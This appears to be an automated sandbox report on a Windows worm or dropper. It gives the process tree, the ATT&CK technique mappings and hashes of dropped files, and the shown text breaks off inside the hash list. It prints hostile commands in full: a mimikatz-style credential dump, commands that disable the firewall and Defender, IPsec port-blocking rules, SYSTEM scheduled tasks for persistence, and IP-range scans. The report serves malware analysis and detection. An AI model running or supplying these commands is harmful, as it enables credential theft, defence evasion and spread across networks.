PID 1632 wrote to memory of 2292	1632	cmd.exe	33
PID 1632 wrote to memory of 2292	1632	cmd.exe	33
PID 1632 wrote to memory of 2896	1632	cmd.exe	34
PID 1632 wrote to memory of 2896	1632	cmd.exe	34
PID 1632 wrote to memory of 2896	1632	cmd.exe	34
PID 1632 wrote to memory of 2896	1632	cmd.exe	34
PID 580 wrote to memory of 2880	580	wuvtyst.exe	36
PID 580 wrote to memory of 2880	580	wuvtyst.exe	36
PID 580 wrote to memory of 2880	580	wuvtyst.exe	36
PID 580 wrote to memory of 2880	580	wuvtyst.exe	36
PID 2880 wrote to memory of 3008	2880	cmd.exe	38
PID 2880 wrote to memory of 3008	2880	cmd.exe	38
PID 2880 wrote to memory of 3008	2880	cmd.exe	38
PID 2880 wrote to memory of 3008	2880	cmd.exe	38
PID 2880 wrote to memory of 2444	2880	cmd.exe	39
PID 2880 wrote to memory of 2444	2880	cmd.exe	39
PID 2880 wrote to memory of 2444	2880	cmd.exe	39
PID 2880 wrote to memory of 2444	2880	cmd.exe	39
PID 2880 wrote to memory of 2748	2880	cmd.exe	40
PID 2880 wrote to memory of 2748	2880	cmd.exe	40
PID 2880 wrote to memory of 2748	2880	cmd.exe	40
PID 2880 wrote to memory of 2748	2880	cmd.exe	40
PID 2880 wrote to memory of 2796	2880	cmd.exe	41
PID 2880 wrote to memory of 2796	2880	cmd.exe	41
PID 2880 wrote to memory of 2796	2880	cmd.exe	41
PID 2880 wrote to memory of 2796	2880	cmd.exe	41
PID 2880 wrote to memory of 2620	2880	cmd.exe	42
PID 2880 wrote to memory of 2620	2880	cmd.exe	42
PID 2880 wrote to memory of 2620	2880	cmd.exe	42
PID 2880 wrote to memory of 2620	2880	cmd.exe	42
PID 2880 wrote to memory of 2776	2880	cmd.exe	43
PID 2880 wrote to memory of 2776	2880	cmd.exe	43
PID 2880 wrote to memory of 2776	2880	cmd.exe	43
PID 2880 wrote to memory of 2776	2880	cmd.exe	43
PID 580 wrote to memory of 2636	580	wuvtyst.exe	44
PID 580 wrote to memory of 2636	580	wuvtyst.exe	44
PID 580 wrote to memory of 2636	580	wuvtyst.exe	44
PID 580 wrote to memory of 2636	580	wuvtyst.exe	44
PID 580 wrote to memory of 2340	580	wuvtyst.exe	46
PID 580 wrote to memory of 2340	580	wuvtyst.exe	46
PID 580 wrote to memory of 2340	580	wuvtyst.exe	46
PID 580 wrote to memory of 2340	580	wuvtyst.exe	46
PID 580 wrote to memory of 1868	580	wuvtyst.exe	48
PID 580 wrote to memory of 1868	580	wuvtyst.exe	48
PID 580 wrote to memory of 1868	580	wuvtyst.exe	48
PID 580 wrote to memory of 1868	580	wuvtyst.exe	48
PID 580 wrote to memory of 1256	580	wuvtyst.exe	50
PID 580 wrote to memory of 1256	580	wuvtyst.exe	50
PID 580 wrote to memory of 1256	580	wuvtyst.exe	50
PID 580 wrote to memory of 1256	580	wuvtyst.exe	50
PID 1256 wrote to memory of 2408	1256	cmd.exe	52
PID 1256 wrote to memory of 2408	1256	cmd.exe	52
PID 1256 wrote to memory of 2408	1256	cmd.exe	52
PID 1256 wrote to memory of 2408	1256	cmd.exe	52
PID 1256 wrote to memory of 2408	1256	cmd.exe	52
PID 1256 wrote to memory of 2408	1256	cmd.exe	52
PID 1256 wrote to memory of 2408	1256	cmd.exe	52
PID 2408 wrote to memory of 760	2408	wpcap.exe	53

C:\Windows\System32\spoolsv.exe
C:\Windows\System32\spoolsv.exe
1⤵
PID:1028
- C:\Windows\TEMP\izgwnficg\tbfbrq.exe
  "C:\Windows\TEMP\izgwnficg\tbfbrq.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of AdjustPrivilegeToken
  PID:1392

C:\Users\Admin\AppData\Local\Temp\42a10d8edddb7960807080da2cb9f8700e1ff90c7e8068962065222203313b5eN.exe
"C:\Users\Admin\AppData\Local\Temp\42a10d8edddb7960807080da2cb9f8700e1ff90c7e8068962065222203313b5eN.exe"
1⤵
- Drops file in Windows directory
- System Location Discovery: System Language Discovery
- Suspicious behavior: RenamesItself
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:840
- C:\Windows\SysWOW64\cmd.exe
  cmd /c ping 127.0.0.1 -n 5 & Start C:\Windows\iynwritg\wuvtyst.exe
  2⤵
  - Loads dropped DLL
  - System Network Configuration Discovery: Internet Connection Discovery
  - Suspicious use of WriteProcessMemory
  PID:1632
- - C:\Windows\SysWOW64\PING.EXE
    ping 127.0.0.1 -n 5
    3⤵
    - System Location Discovery: System Language Discovery
    - System Network Configuration Discovery: Internet Connection Discovery
    - Runs ping.exe
    PID:2292
- - C:\Windows\iynwritg\wuvtyst.exe
    C:\Windows\iynwritg\wuvtyst.exe
    3⤵
    - Executes dropped EXE
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of SetWindowsHookEx
    PID:2896

C:\Windows\iynwritg\wuvtyst.exe
C:\Windows\iynwritg\wuvtyst.exe
1⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Drops file in Drivers directory
- Event Triggered Execution: Image File Execution Options Injection
- Executes dropped EXE
- Loads dropped DLL
- Drops file in System32 directory
- Drops file in Windows directory
- System Location Discovery: System Language Discovery
- Modifies data under HKEY_USERS
- Modifies registry class
- Modifies system certificate store
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:580
- C:\Windows\SysWOW64\cmd.exe
  cmd /c echo Y|cacls C:\Windows\system32\drivers\etc\hosts /T /D users & echo Y|cacls C:\Windows\system32\drivers\etc\hosts /T /D administrators & echo Y|cacls C:\Windows\system32\drivers\etc\hosts /T /D SYSTEM
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:2880
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /S /D /c" echo Y"
    3⤵
    - System Location Discovery: System Language Discovery
    PID:3008
- - C:\Windows\SysWOW64\cacls.exe
    cacls C:\Windows\system32\drivers\etc\hosts /T /D users
    3⤵
    PID:2444
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /S /D /c" echo Y"
    3⤵
    PID:2748
- - C:\Windows\SysWOW64\cacls.exe
    cacls C:\Windows\system32\drivers\etc\hosts /T /D administrators
    3⤵
    - System Location Discovery: System Language Discovery
    PID:2796
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /S /D /c" echo Y"
    3⤵
    - System Location Discovery: System Language Discovery
    PID:2620
- - C:\Windows\SysWOW64\cacls.exe
    cacls C:\Windows\system32\drivers\etc\hosts /T /D SYSTEM
    3⤵
    - System Location Discovery: System Language Discovery
    PID:2776
- C:\Windows\SysWOW64\netsh.exe
  netsh ipsec static del all
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  - Modifies data under HKEY_USERS
  PID:2636
- C:\Windows\SysWOW64\netsh.exe
  netsh ipsec static add policy name=Bastards description=FuckingBastards
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  - Modifies data under HKEY_USERS
  PID:2340
- C:\Windows\SysWOW64\netsh.exe
  netsh ipsec static add filteraction name=BastardsList action=block
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  - Modifies data under HKEY_USERS
  PID:1868
- C:\Windows\SysWOW64\cmd.exe
  cmd /c C:\Windows\gkbbgrnbe\biutbfmlw\wpcap.exe /S
  2⤵
  - Loads dropped DLL
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:1256
- - C:\Windows\gkbbgrnbe\biutbfmlw\wpcap.exe
    C:\Windows\gkbbgrnbe\biutbfmlw\wpcap.exe /S
    3⤵
    - Drops file in Drivers directory
    - Executes dropped EXE
    - Loads dropped DLL
    - Drops file in System32 directory
    - Drops file in Program Files directory
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:2408
  - - C:\Windows\SysWOW64\net.exe
      net stop "Boundary Meter"
      4⤵
      System Location Discovery: System Language Discovery
      PID:760
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop "Boundary Meter"
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:1836
  - - C:\Windows\SysWOW64\net.exe
      net stop "TrueSight Meter"
      4⤵
      System Location Discovery: System Language Discovery
      PID:2984
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop "TrueSight Meter"
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:2764
  - - C:\Windows\SysWOW64\net.exe
      net stop npf
      4⤵
      PID:2920
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop npf
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:2244
  - - C:\Windows\SysWOW64\net.exe
      net start npf
      4⤵
      System Location Discovery: System Language Discovery
      PID:2624
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 start npf
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:1968
- C:\Windows\SysWOW64\cmd.exe
  cmd /c net start npf
  2⤵
  PID:2976
- - C:\Windows\SysWOW64\net.exe
    net start npf
    3⤵
    PID:1848
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 start npf
      4⤵
      System Location Discovery: System Language Discovery
      PID:944
- C:\Windows\SysWOW64\cmd.exe
  cmd /c net start npf
  2⤵
  - System Location Discovery: System Language Discovery
  PID:1172
- - C:\Windows\SysWOW64\net.exe
    net start npf
    3⤵
    - System Location Discovery: System Language Discovery
    PID:1888
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 start npf
      4⤵
      System Location Discovery: System Language Discovery
      PID:2480
- C:\Windows\SysWOW64\cmd.exe
  cmd /c C:\Windows\gkbbgrnbe\biutbfmlw\bydmpgmtu.exe -p 80 222.186.128.1-222.186.255.255 --rate=1024 -oJ C:\Windows\gkbbgrnbe\biutbfmlw\Scant.txt
  2⤵
  - Loads dropped DLL
  - System Location Discovery: System Language Discovery
  PID:1604
- - C:\Windows\gkbbgrnbe\biutbfmlw\bydmpgmtu.exe
    C:\Windows\gkbbgrnbe\biutbfmlw\bydmpgmtu.exe -p 80 222.186.128.1-222.186.255.255 --rate=1024 -oJ C:\Windows\gkbbgrnbe\biutbfmlw\Scant.txt
    3⤵
    - Executes dropped EXE
    - Loads dropped DLL
    - System Location Discovery: System Language Discovery
    PID:1420
- C:\Windows\SysWOW64\cmd.exe
  cmd /c C:\Windows\gkbbgrnbe\Corporate\vfshost.exe privilege::debug sekurlsa::logonpasswords exit >> C:\Windows\gkbbgrnbe\Corporate\log.txt
  2⤵
  - Loads dropped DLL
  - Drops file in Windows directory
  - System Location Discovery: System Language Discovery
  PID:1660
- - C:\Windows\gkbbgrnbe\Corporate\vfshost.exe
    C:\Windows\gkbbgrnbe\Corporate\vfshost.exe privilege::debug sekurlsa::logonpasswords exit
    3⤵
    - Executes dropped EXE
    - Suspicious use of AdjustPrivilegeToken
    PID:1524
- C:\Windows\SysWOW64\cmd.exe
  cmd /c echo Y|schtasks /create /sc minute /mo 1 /tn "cwryeguki" /ru system /tr "cmd /c C:\Windows\ime\wuvtyst.exe"
  2⤵
  PID:1040
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /S /D /c" echo Y"
    3⤵
    - System Location Discovery: System Language Discovery
    PID:2532
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /sc minute /mo 1 /tn "cwryeguki" /ru system /tr "cmd /c C:\Windows\ime\wuvtyst.exe"
    3⤵
    - System Location Discovery: System Language Discovery
    - Scheduled Task/Job: Scheduled Task
    PID:2368
- C:\Windows\SysWOW64\cmd.exe
  cmd /c echo Y|schtasks /create /sc minute /mo 1 /tn "gyvtgqwmb" /ru system /tr "cmd /c echo Y|cacls C:\Windows\iynwritg\wuvtyst.exe /p everyone:F"
  2⤵
  - System Location Discovery: System Language Discovery
  PID:2432
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /S /D /c" echo Y"
    3⤵
    - System Location Discovery: System Language Discovery
    PID:2320
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /sc minute /mo 1 /tn "gyvtgqwmb" /ru system /tr "cmd /c echo Y|cacls C:\Windows\iynwritg\wuvtyst.exe /p everyone:F"
    3⤵
    - System Location Discovery: System Language Discovery
    - Scheduled Task/Job: Scheduled Task
    PID:2868
- C:\Windows\SysWOW64\cmd.exe
  cmd /c echo Y|schtasks /create /sc minute /mo 1 /tn "gbvnrrzbu" /ru system /tr "cmd /c echo Y|cacls C:\Windows\TEMP\izgwnficg\tbfbrq.exe /p everyone:F"
  2⤵
  - System Location Discovery: System Language Discovery
  PID:2092
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /S /D /c" echo Y"
    3⤵
    - System Location Discovery: System Language Discovery
    PID:2284
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /sc minute /mo 1 /tn "gbvnrrzbu" /ru system /tr "cmd /c echo Y|cacls C:\Windows\TEMP\izgwnficg\tbfbrq.exe /p everyone:F"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:2800
- C:\Windows\SysWOW64\netsh.exe
  netsh ipsec static add filter filterlist=BastardsList srcaddr=any dstaddr=Me dstport=139 protocol=TCP
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  - System Location Discovery: System Language Discovery
  PID:1624
- C:\Windows\SysWOW64\netsh.exe
  netsh ipsec static add filter filterlist=BastardsList srcaddr=any dstaddr=Me dstport=139 protocol=UDP
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  - System Location Discovery: System Language Discovery
  - Modifies data under HKEY_USERS
  PID:2704
- C:\Windows\SysWOW64\netsh.exe
  netsh ipsec static add rule name=Rule1 policy=Bastards filterlist=BastardsList filteraction=BastardsList
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  - System Location Discovery: System Language Discovery
  - Modifies data under HKEY_USERS
  PID:2608
- C:\Windows\SysWOW64\netsh.exe
  netsh ipsec static set policy name=Bastards assign=y
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  - System Location Discovery: System Language Discovery
  - Modifies data under HKEY_USERS
  PID:2724
- C:\Windows\SysWOW64\netsh.exe
  netsh ipsec static add filter filterlist=BastardsList srcaddr=any dstaddr=Me dstport=135 protocol=TCP
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  - System Location Discovery: System Language Discovery
  PID:2756
- C:\Windows\SysWOW64\netsh.exe
  netsh ipsec static add filter filterlist=BastardsList srcaddr=any dstaddr=Me dstport=135 protocol=UDP
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  - System Location Discovery: System Language Discovery
  PID:2220
- C:\Windows\SysWOW64\netsh.exe
  netsh ipsec static add rule name=Rule1 policy=Bastards filterlist=BastardsList filteraction=BastardsList
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  - Modifies data under HKEY_USERS
  PID:1852
- C:\Windows\SysWOW64\netsh.exe
  netsh ipsec static set policy name=Bastards assign=y
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  - System Location Discovery: System Language Discovery
  PID:2012
- C:\Windows\SysWOW64\netsh.exe
  netsh ipsec static add filter filterlist=BastardsList srcaddr=any dstaddr=Me dstport=445 protocol=TCP
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  - System Location Discovery: System Language Discovery
  - Modifies data under HKEY_USERS
  PID:2856
- C:\Windows\SysWOW64\netsh.exe
  netsh ipsec static add filter filterlist=BastardsList srcaddr=any dstaddr=Me dstport=445 protocol=UDP
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  - Modifies data under HKEY_USERS
  PID:792
- C:\Windows\SysWOW64\netsh.exe
  netsh ipsec static add rule name=Rule1 policy=Bastards filterlist=BastardsList filteraction=BastardsList
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  - System Location Discovery: System Language Discovery
  - Modifies data under HKEY_USERS
  PID:760
- C:\Windows\SysWOW64\netsh.exe
  netsh ipsec static set policy name=Bastards assign=y
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  - System Location Discovery: System Language Discovery
  - Modifies data under HKEY_USERS
  PID:2984
- C:\Windows\SysWOW64\cmd.exe
  cmd /c net stop SharedAccess
  2⤵
  PID:2920
- - C:\Windows\SysWOW64\net.exe
    net stop SharedAccess
    3⤵
    - System Location Discovery: System Language Discovery
    PID:2156
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop SharedAccess
      4⤵
      System Location Discovery: System Language Discovery
      PID:2200
- C:\Windows\SysWOW64\cmd.exe
  cmd /c netsh firewall set opmode mode=disable
  2⤵
  - System Location Discovery: System Language Discovery
  PID:2460
- - C:\Windows\SysWOW64\netsh.exe
    netsh firewall set opmode mode=disable
    3⤵
    - Modifies Windows Firewall
    - Event Triggered Execution: Netsh Helper DLL
    - System Location Discovery: System Language Discovery
    - Modifies data under HKEY_USERS
    PID:2396
- C:\Windows\SysWOW64\cmd.exe
  cmd /c netsh Advfirewall set allprofiles state off
  2⤵
  - System Location Discovery: System Language Discovery
  PID:1084
- - C:\Windows\SysWOW64\netsh.exe
    netsh Advfirewall set allprofiles state off
    3⤵
    - Modifies Windows Firewall
    - Event Triggered Execution: Netsh Helper DLL
    - Modifies data under HKEY_USERS
    PID:2832
- C:\Windows\SysWOW64\cmd.exe
  cmd /c net stop MpsSvc
  2⤵
  - System Location Discovery: System Language Discovery
  PID:1256
- - C:\Windows\SysWOW64\net.exe
    net stop MpsSvc
    3⤵
    - System Location Discovery: System Language Discovery
    PID:1560
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop MpsSvc
      4⤵
      System Location Discovery: System Language Discovery
      PID:820
- C:\Windows\SysWOW64\cmd.exe
  cmd /c net stop WinDefend
  2⤵
  PID:1640
- - C:\Windows\SysWOW64\net.exe
    net stop WinDefend
    3⤵
    - System Location Discovery: System Language Discovery
    PID:1204
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop WinDefend
      4⤵
      System Location Discovery: System Language Discovery
      PID:1612
- C:\Windows\SysWOW64\cmd.exe
  cmd /c net stop wuauserv
  2⤵
  - System Location Discovery: System Language Discovery
  PID:944
- - C:\Windows\SysWOW64\net.exe
    net stop wuauserv
    3⤵
    PID:1900
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop wuauserv
      4⤵
      System Location Discovery: System Language Discovery
      PID:1472
- C:\Windows\SysWOW64\cmd.exe
  cmd /c sc config MpsSvc start= disabled
  2⤵
  PID:2976
- - C:\Windows\SysWOW64\sc.exe
    sc config MpsSvc start= disabled
    3⤵
    - Launches sc.exe
    - System Location Discovery: System Language Discovery
    PID:1460
- C:\Windows\SysWOW64\cmd.exe
  cmd /c sc config SharedAccess start= disabled
  2⤵
  - System Location Discovery: System Language Discovery
  PID:1224
- - C:\Windows\SysWOW64\sc.exe
    sc config SharedAccess start= disabled
    3⤵
    - Launches sc.exe
    - System Location Discovery: System Language Discovery
    PID:2364
- C:\Windows\SysWOW64\cmd.exe
  cmd /c sc config WinDefend start= disabled
  2⤵
  - System Location Discovery: System Language Discovery
  PID:2232
- - C:\Windows\SysWOW64\sc.exe
    sc config WinDefend start= disabled
    3⤵
    - Launches sc.exe
    - System Location Discovery: System Language Discovery
    PID:564
- C:\Windows\SysWOW64\cmd.exe
  cmd /c sc config wuauserv start= disabled
  2⤵
  - System Location Discovery: System Language Discovery
  PID:788
- - C:\Windows\SysWOW64\sc.exe
    sc config wuauserv start= disabled
    3⤵
    - Launches sc.exe
    - System Location Discovery: System Language Discovery
    PID:2456
- C:\Windows\TEMP\xohudmc.exe
  C:\Windows\TEMP\xohudmc.exe
  2⤵
  - Executes dropped EXE
  - Drops file in System32 directory
  - System Location Discovery: System Language Discovery
  - Suspicious use of SetWindowsHookEx
  PID:1012
- C:\Windows\TEMP\gkbbgrnbe\aibzbbvzt.exe
  C:\Windows\TEMP\gkbbgrnbe\aibzbbvzt.exe -accepteula -mp 1028 C:\Windows\TEMP\gkbbgrnbe\1028.dmp
  2⤵
  - Executes dropped EXE
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:1324
- C:\Windows\TEMP\gkbbgrnbe\aibzbbvzt.exe
  C:\Windows\TEMP\gkbbgrnbe\aibzbbvzt.exe -accepteula -mp 1048 C:\Windows\TEMP\gkbbgrnbe\1048.dmp
  2⤵
  - Executes dropped EXE
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:2420
- C:\Windows\TEMP\gkbbgrnbe\aibzbbvzt.exe
  C:\Windows\TEMP\gkbbgrnbe\aibzbbvzt.exe -accepteula -mp 1124 C:\Windows\TEMP\gkbbgrnbe\1124.dmp
  2⤵
  - Executes dropped EXE
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:2452
- C:\Windows\TEMP\gkbbgrnbe\aibzbbvzt.exe
  C:\Windows\TEMP\gkbbgrnbe\aibzbbvzt.exe -accepteula -mp 1948 C:\Windows\TEMP\gkbbgrnbe\1948.dmp
  2⤵
  - Executes dropped EXE
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:2608
- C:\Windows\TEMP\gkbbgrnbe\aibzbbvzt.exe
  C:\Windows\TEMP\gkbbgrnbe\aibzbbvzt.exe -accepteula -mp 2028 C:\Windows\TEMP\gkbbgrnbe\2028.dmp
  2⤵
  - Executes dropped EXE
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:2008
- C:\Windows\TEMP\gkbbgrnbe\aibzbbvzt.exe
  C:\Windows\TEMP\gkbbgrnbe\aibzbbvzt.exe -accepteula -mp 1300 C:\Windows\TEMP\gkbbgrnbe\1300.dmp
  2⤵
  - Executes dropped EXE
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:2488
- C:\Windows\TEMP\gkbbgrnbe\aibzbbvzt.exe
  C:\Windows\TEMP\gkbbgrnbe\aibzbbvzt.exe -accepteula -mp 1004 C:\Windows\TEMP\gkbbgrnbe\1004.dmp
  2⤵
  - Executes dropped EXE
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:2012
- C:\Windows\TEMP\gkbbgrnbe\aibzbbvzt.exe
  C:\Windows\TEMP\gkbbgrnbe\aibzbbvzt.exe -accepteula -mp 2256 C:\Windows\TEMP\gkbbgrnbe\2256.dmp
  2⤵
  - Executes dropped EXE
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:1016
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c C:\Windows\gkbbgrnbe\biutbfmlw\scan.bat
  2⤵
  - Loads dropped DLL
  - System Location Discovery: System Language Discovery
  PID:1888
- - C:\Windows\gkbbgrnbe\biutbfmlw\twqzgiyri.exe
    twqzgiyri.exe TCP 138.199.0.1 138.199.255.255 445 512 /save
    3⤵
    - Executes dropped EXE
    - Drops file in Windows directory
    - System Location Discovery: System Language Discovery
    PID:2140

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkServiceNetworkRestricted
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:2640

C:\Windows\SysWOW64\dqljao.exe
C:\Windows\SysWOW64\dqljao.exe
1⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of SetWindowsHookEx
PID:352

C:\Windows\system32\taskeng.exe
taskeng.exe {D3A0D561-AE9D-4564-86E0-7DEBFBDD7274} S-1-5-18:NT AUTHORITY\System:Service:
1⤵
PID:1872
- C:\Windows\system32\cmd.EXE
  C:\Windows\system32\cmd.EXE /c echo Y|cacls C:\Windows\TEMP\izgwnficg\tbfbrq.exe /p everyone:F
  2⤵
  PID:1280
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /S /D /c" echo Y"
    3⤵
    PID:3024
- - C:\Windows\system32\cacls.exe
    cacls C:\Windows\TEMP\izgwnficg\tbfbrq.exe /p everyone:F
    3⤵
    PID:1460
- C:\Windows\system32\cmd.EXE
  C:\Windows\system32\cmd.EXE /c echo Y|cacls C:\Windows\iynwritg\wuvtyst.exe /p everyone:F
  2⤵
  PID:1172
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /S /D /c" echo Y"
    3⤵
    PID:1652
- - C:\Windows\system32\cacls.exe
    cacls C:\Windows\iynwritg\wuvtyst.exe /p everyone:F
    3⤵
    PID:824
- C:\Windows\system32\cmd.EXE
  C:\Windows\system32\cmd.EXE /c C:\Windows\ime\wuvtyst.exe
  2⤵
  PID:820
- - C:\Windows\ime\wuvtyst.exe
    C:\Windows\ime\wuvtyst.exe
    3⤵
    - Executes dropped EXE
    - Suspicious behavior: CmdExeWriteProcessMemorySpam
    - Suspicious use of SetWindowsHookEx
    PID:2968

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

System Services

T1569

Service Execution

T1569.002

Persistence

Create or Modify System Process

T1543

Windows Service

T1543.003

Event Triggered Execution

T1546

Image File Execution Options Injection

T1546.012

Netsh Helper DLL

T1546.007

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Create or Modify System Process

T1543

Windows Service

T1543.003

Event Triggered Execution

T1546

Image File Execution Options Injection

T1546.012

Netsh Helper DLL

T1546.007

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Impair Defenses

T1562

Disable or Modify System Firewall

T1562.004

Modify Registry

T1112

Subvert Trust Controls

T1553

Install Root Certificate

T1553.004

Credential Access

OS Credential Dumping

T1003

LSASS Memory

T1003.001

Discovery

Network Service Discovery

T1046

Network Share Discovery

T1135

Query Registry

T1012

Remote System Discovery

T1018

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

System Network Configuration Discovery

T1016

Internet Connection Discovery

T1016.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Service Stop

T1489

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Windows\SysWOW64\Packet.dll

Filesize
95KB

MD5
86316be34481c1ed5b792169312673fd

SHA1
6ccde3a8c76879e49b34e4abb3b8dfaf7a9d77b5

SHA256
49656c178b17198470ad6906e9ee0865f16f01c1dbbf11c613b55a07246a7918

SHA512
3a6e77c39942b89f3f149e9527ab8a9eb39f55ac18a9db3a3922dfb294beb0760d10ca12be0e3a3854ff7dabbe2df18c52e3696874623a2a9c5dc74b29a860bc

Download Submit
C:\Windows\SysWOW64\wpcap.dll

Filesize
275KB

MD5
4633b298d57014627831ccac89a2c50b

SHA1
e5f449766722c5c25fa02b065d22a854b6a32a5b

SHA256
b967e4dce952f9232592e4c1753516081438702a53424005642700522055dbc9

SHA512
29590fa5f72e6a36f2b72fc2a2cca35ee41554e13c9995198e740608975621142395d4b2e057db4314edf95520fd32aae8db066444d8d8db0fd06c391111c6d3

Download Submit
C:\Windows\TEMP\gkbbgrnbe\1004.dmp

Filesize
7.2MB

MD5
92f171938b295363865ad8e218855e2b

SHA1
bbeba978bf2f23c64e3259b280505985415fbc78

SHA256
80a8f2af1a29e2b821cda8fd654464eac940b0c0d72cb495372212bf5256780d

SHA512
140892b697855c6945726b5517c17a189ff4be0dbba21badae2db8134228ae0033301bda60427dabaa45862fec0cbe72ba2291612f7aacd25f366324ad9ef16f

Download Submit
C:\Windows\TEMP\gkbbgrnbe\1028.dmp

Filesize
4.7MB

MD5
c37e6bd9815c87b0660d6ff08a3cb263

SHA1
78d7c16979c965e126e08f4150511e809c6954e8

SHA256
7489556c61f9b88ad42f9202b61ea8925a31ac1e12299835439e22700559d15f

SHA512
1979e54d1e02a78f1f6e93d5f5388dab5f23423d5dd676ceb0dec03561872cad529ede8fd4c2527942c0eca52df8f5f8950b338795509652da1592b806a9df70

Download Submit
C:\Windows\TEMP\gkbbgrnbe\1048.dmp

Filesize
1.4MB

MD5
a31453c3152011181096eb2880813ff4

SHA1
5bf00d9017aec471ec9f8884c2b8311b9c33034f

SHA256
beeec43c05b4ed557725deece98a605b672b1fb304ffd034594ece855e10b65d

SHA512
3a52dc815cbc6215dfc84512ca2fe93877e5078af120a14755b72428fd66ecf49b07e94b4302a61a29fe8631ef2551dfdcca8ab4aa6d6d2a1e1433ee379511b2

Download Submit
C:\Windows\TEMP\gkbbgrnbe\1124.dmp

Filesize
1.3MB

MD5
6b8961fc5b9f4c0f4d8c89c88a398e25

SHA1
ce2200073ecf89bbedd39ca63011fd6e09068252

SHA256
3af5eb08450eb3f311daa091752c6fe49d21c08a2d0ad96462686c12bb107278

SHA512
e66dedb3e0ce6502f2e596bcf54098f1f1f5056684f6087d3f1886d3682a1757d925562f4bc7c78429dca2f335419154c4c37cb7b9331d00872a87463f672747

Download Submit
C:\Windows\TEMP\gkbbgrnbe\1300.dmp

Filesize
2.1MB

MD5
929db52a2f51a833484d76d66650757c

SHA1
9ab5ec4ad6a3b782022e51126c26442e86dbe8bb

SHA256
36c0b0ba24a96613386da617aa8fb011b867f8214adf6337d52e5fa02ba88f62

SHA512
7017076670304f56b2ae962aea8be8b19bd433eb222262c17e2aebf4a7ec4ea959cf224343822e2437041a20769387f59beab8985dd96da29d255e87a5279767

Download Submit
C:\Windows\TEMP\gkbbgrnbe\1948.dmp

Filesize
5.3MB

MD5
5af4a657c36d648716e7dc6331a26870

SHA1
22ee27728878be1ca4978bdedc300e5c9d5089ea

SHA256
